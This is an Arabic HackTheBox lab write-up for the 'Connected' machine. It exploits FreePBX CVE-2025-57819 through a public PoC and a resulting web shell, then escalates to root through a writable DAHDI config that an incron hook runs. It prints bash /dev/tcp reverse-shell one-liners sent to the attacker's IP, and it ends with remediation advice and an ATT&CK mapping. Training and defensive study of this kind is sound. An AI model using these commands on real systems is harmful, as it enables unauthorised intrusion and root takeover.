
تفصيل كتابة اختبار الاختراق لجهاز HackTheBox 'Connected'، يغطي استغلال ثغرة FreePBX CVE-2025-57819 (حقن SQL إلى تنفيذ أوامر عن بُعد) وتصعيد الامتيازات عبر سوء تكوين incron إلى صلاحيات الجذر.
Connected هو جهاز Linux يعمل بنظام CentOS ويشغّل نظام اتصالات VoIP FreePBX v16.0.40.7 المتكامل مع Asterisk.
يتكوّن مسار الاستغلال (Attack Vector / Kill Chain) من مرحلتين رئيسيتين:
asterisk./usr/sbin/sysadmin_dahdi_restart عند حدوث كتابة إلى الملف /var/spool/asterisk/sysadmin/dahdi_restart. نظرًا لأن ملف إعدادات DAHDI /etc/dahdi/init.conf قابل للكتابة من قبل المستخدم asterisk، يتم تنفيذ حقن حمولة الصدفة العكسية في ملف الإعدادات هذا تلقائيًا بصلاحيات root (uid=0).تبدأ الخطوة الأولى في اختبار الاختراق بإجراء استطلاع نشط باستخدام nmap لتحديد المنافذ المفتوحة والخدمات قيد التشغيل وإصدارات النظام.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
شرح خيارات Nmap:
-T4: ضبط قالب التوقيت العدواني لفحص أسرع وأكثر كفاءة.-sC: تشغيل مجموعة سكربتات NSE الافتراضية لاكتشاف الثغرات الأساسية.-sV: تفعيل اكتشاف الخدمة والإصدار على كل منفذ يستجيب.-oA recon/nmap_quick: حفظ جميع تنسيقات الإخراج (القياسي، القابل للبحث، XML) في دليل recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.نظرًا لأن خادم الويب يطبّق الاستضافة الافتراضية ويوجّه حركة المرور إلى connected.htb، نحتاج إلى إضافة دقة اسم المضيف المحلي إلى /etc/hosts:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
يُظهر الوصول إلى الرابط http://connected.htb/admin/config.php عبر المتصفح واجهة إدارة VoIP المستندة إلى الويب:
من تذييل صفحة الويب، تم الحصول على معلومات الإصدار المحددة:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7الإصدار FreePBX 16.0.40.7 معرّض لثغرة CVE-2025-57819. هذه الثغرة هي حقن SQL قبل المصادقة تسمح لمهاجم بدون بيانات اعتماد (مهاجم غير مصادق) بالتلاعب بقاعدة البيانات الخلفية لـ FreePBX/Asterisk.
من خلال حقن SQL هذا، يمكن للمهاجم تعديل جدول مهام cron الداخلية لـ Asterisk (asterisk.cron_jobs) أو حقن كود PHP عشوائي في دليل خادم الويب (مما ينتج ويب شيل)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
استخدمنا PoC استغلال عام من WatchTowr Labs:
# 1. استنساخ مستودع الاستغلال
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. تشغيل سكربت الاستغلال ضد الهدف
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
نتيجة تنفيذ الاستغلال: نجح السكربت في استغلال الهدف وإنشاء ويب شيل نشط على نقطة النهاية:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
للحصول على جلسة تفاعلية (صدفة عكسية)، اتبع الخطوات التالية:
افتح مستمع Netcat على جهاز المهاجم:
nc -lvnp 1212
أرسل حمولة الصدفة العكسية عبر الويب شيل:
أرسل حمولة الصدفة العكسية باستخدام curl مع معامل مرمّز بعنوان URL:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
تم استلام اتصال الصدفة العكسية بنجاح:
يصل الاتصال إلى مستمع nc ونحصل على وصول إلى صدفة تفاعلية كمستخدم asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
بعد الحصول على صلاحيات الوصول كمستخدم asterisk، الخطوة التالية هي إجراء التعداد الداخلي للبحث عن ناقل تصعيد الامتيازات إلى root.
incron)قمنا بفحص إعدادات الخفي incron (جدول inotify cron)، وهي الخدمة التي تنفّذ الأوامر عند حدوث حدث في نظام الملفات (مثل تعديل ملف أو إنشاء ملف):
[asterisk@connected html]$ cat /etc/incron.d/*
مخرجات إعداد Incron:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart بعد عملية كتابة (IN_CLOSE_WRITE)، يقوم النظام تلقائيًا بتنفيذ السكربت /usr/sbin/sysadmin_dahdi_restart بصلاحيات root.أظهر الفحص الإضافي للسكربت /usr/sbin/sysadmin_dahdi_restart أن السكربت يعيد تشغيل خدمة DAHDI (واجهة أجهزة Digium Asterisk) وينفّذ/يقوم بتحميل (source) ملف الإعدادات /etc/dahdi/init.conf.
أظهر فحص صلاحيات الملف /etc/dahdi/init.conf أن الملف قابل للكتابة من قبل المستخدم asterisk:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
نظرًا لأن /etc/dahdi/init.conf يتم تنفيذه في سياق root عند إعادة تشغيل DAHDI، يمكننا إدراج أمر صدفة عكسية في ملف الإعدادات هذا، ثم تشغيل إعادة التشغيل عبر incron.
افتح مستمعًا جديدًا على جهاز المهاجم (المنفذ 4545):
nc -lvnp 4545
أدرج الصدفة العكسية في /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
شغّل حدث Incron عبر الكتابة إلى ملف spool:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
في غضون ثوانٍ من معالجة incron لحدث كتابة الملف، ينفّذ سكربت الجذر سطر الأوامر المُدرج وينتج اتصال صدفة عكسية باسم root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
تم الاختراق بواسطة ikmalhanaan 🚀
| المكوّن | المواصفات / الوصف |
|---|
| اسم الجهاز | Connected |
| نظام التشغيل | Linux (CentOS / FreePBX Distro) |
| IP الهدف | <IP_TARGET> (connected.htb) |
| IP المهاجم | <IP_VPN_KITA> (واجهة VPN tun0) |
| الثغرة الحرجة | CVE-2025-57819 (تجاوز مصادقة FreePBX وحقن SQL إلى RCE) |
| آلية تصعيد الامتيازات | خطأ في إعداد خطاف Incron Daemon + ملف /etc/dahdi/init.conf قابل للكتابة |
| الأدوات المستخدمة | nmap, curl, python3, netcat (nc), bash, git |
| ناقل الضعف | التأثير | توصيات المعالجة / التخفيف |
|---|
| حقن SQL قبل المصادقة في FreePBX (CVE-2025-57819) | حرج — يسمح بتنفيذ RCE بدون مصادقة عبر حقن قاعدة البيانات. | تحديث FreePBX إلى أحدث إصدار تصحيحي رسمي من Sangoma. تطبيق تحقق صارم من المدخلات بالإضافة إلى العبارات المجهزة / الاستعلامات ذات المعاملات على جميع نقاط نهاية API. |
صلاحيات ملف غير آمنة (/etc/dahdi/init.conf) | عالٍ — يمكن لمستخدم غير مخوّل (asterisk) تعديل ملف إعدادات يتم تنفيذه بواسطة الجذر. | تقييد صلاحيات الملكية والكتابة لملف الإعدادات: chmod 644 /etc/dahdi/init.conf و chown root:root /etc/dahdi/init.conf. |
| تنفيذ الجذر التلقائي عبر Incron | متوسط/عالٍ — سكربت أتمتة الجذر يقوم بتحميل ملف إعدادات دون التحقق من السلامة. | تدقيق جميع قواعد incron وسكربتات /usr/sbin/sysadmin_*. تجنب تحميل ملفات الإعدادات الديناميكية المعرّضة لتعديل غير الجذر. |
| التكتيك | معرف التقنية | اسم التقنية | التطبيق على الجهاز |
|---|
| الاستطلاع | T1595.002 | المسح النشط: فحص الثغرات | فحص المنافذ والخدمات باستخدام nmap. |
| الوصول الأولي | T1190 | استغلال التطبيق المواجه للعام | استغلال ثغرة CVE-2025-57819 على خادم ويب FreePBX. |
| التنفيذ | T1059.004 | مترجم الأوامر والسكربتات: Unix Shell | تنفيذ أوامر bash للصدفة العكسية عبر الويب شيل وسكربت init. |
| الاستمرارية / تصعيد الامتيازات | T1053.003 | المهمة المجدولة/الوظيفة: Cron | الاستفادة من خفي incron لتنفيذ مهام جذر تلقائية. |
| تصعيد الامتيازات | T1574.009 | اختطاف تدفق التنفيذ: اختطاف المسار/الإعدادات | إدراج أوامر ضارة في ملف الإعدادات /etc/dahdi/init.conf. |
| الوصول إلى بيانات الاعتماد / الجمع | T1005 | البيانات من النظام المحلي | قراءة العلمين user.txt و root.txt. |